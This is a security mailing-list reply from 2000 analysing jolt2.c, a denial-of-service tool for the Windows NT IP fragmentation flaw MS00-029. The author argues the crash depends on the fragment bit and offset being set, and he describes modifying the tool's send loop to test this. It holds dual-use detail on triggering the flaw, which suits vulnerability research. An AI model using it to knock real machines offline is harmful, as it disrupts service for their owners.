Re: Revision 2: Analysis of jolt2.c (MS00-029)

[dleblanc () MINDSPRING COM (David LeBlanc)]

At 05:38 PM 5/27/00 +0200, you wrote:

> Phonix <phonix () moocow org> wrote:
> > By the way, setting the checksum to 0 is perfectly valid
> > if you are offloading the checksumming to the NIC.

> The code never mentioned this, and I failed to think of it.
> However:

This is also the way that many stacks work, even with IP_HDRINCL set - in
order to get the IP stack (or NIC) to calculate it for you, leave it set to
zero. Again, this is why it is usually best to look and see what something
is doing on the wire before going off and assuming mistakes.

> I originally thought that this _may_ be proof of another
> problem - What if _this_ code isn't exploiting a fragmentation
> vulnerability, but rather a network layer resource exhaustion
> vulnerability? The net results could be the same (CPU and RAM
> crunching), but be caused by entirely different reasons.

It is really pretty trivial to check for this.  Just make a regular UDP or
ICMP socket, bind it, build some data segment, and blast away.  See what
the results are on the other end.  I've done this years ago, and NT shrugs
it off.  You see a little CPU rise, but even getting hit with that locally
on a 100Mb segment, you don't get the machine to freeze.  I like to test
things before I speculate in public.  YMMV.

> Several people have told (flamed?) me that I am completely wrong,
> simply because the Microsoft and Bindview advisories state
> that it is a fragmentation problem.

Well - pretty easy to test with the code that is out there.  Just modify
the packet to make it a normal, nonfragmented packet, note that the machine
doesn't freeze.  You put the frag bit back, set the offset, and the problem
comes back. Seems obvious to me.

> This does not change the facts however.

The facts are that the frag bit has to be set, or you can't cause a problem.

> I would _really_
> like to see this code (jolt2.c) have the same results
> _WITH_ rate limiting implemented before I blindly accept
> the results.

OK, this is also trivial to do - instead of:

while(1)
{
  sendto(...);
}

inject a sleep(), or for a finer grained timeout, use a select().  Or stick
a counter in there, send some number of packets and stop.  Now see what the
behavior of the target is.

> (I'm not saying anyone is lying here, I just
> like seeing proof before accepting something as facts.)

Well, so go try it and see.  The code is really fairly nicely written
(despite disclaimers about being hacked together), and all these variants
that would allow you to actually test these things are easy to modify.  To
me, that's what you do when you analyze a problem, but again, YMMV.

> 1. Microsoft doesn't verify the structural integrity (the
>   packet is truncated!)

Or it triggers a problem before any further verification can be performed.
There are a lot of validation steps in determining whether a packet is
good, and the ordering of these steps is a very non-trivial optimization
problem. If something goes fubar at step n, then step n+1 isn't going to be
reached, and we cannot come to conclusions about the efficiency or even the
presence of step n+1.

> 2. It is really a network layer resource exhaustion attack
>   rather than a fragmentation attack. (NOTE! THIS IS JUST
>   A THEORY! I WOULD HAPPILY BE PROVEN WRONG HERE, BUT PLEASE
>   PROVIDE PROOF RATHER THAN JUST FLAME ME!)

So test your theories.  Esp. when the code you have makes it easy.  If you
could say "I modified jolt2.c to change such and such, and NT [still blows
up | does not blow up | my router dies instead | the wires all melt | ...
]", then that would be really useful to know.  Without testing, you've just
annotated the code (which is nice), but all the speculation without testing
isn't all that helpful (to me).

David LeBlanc
dleblanc () mindspring com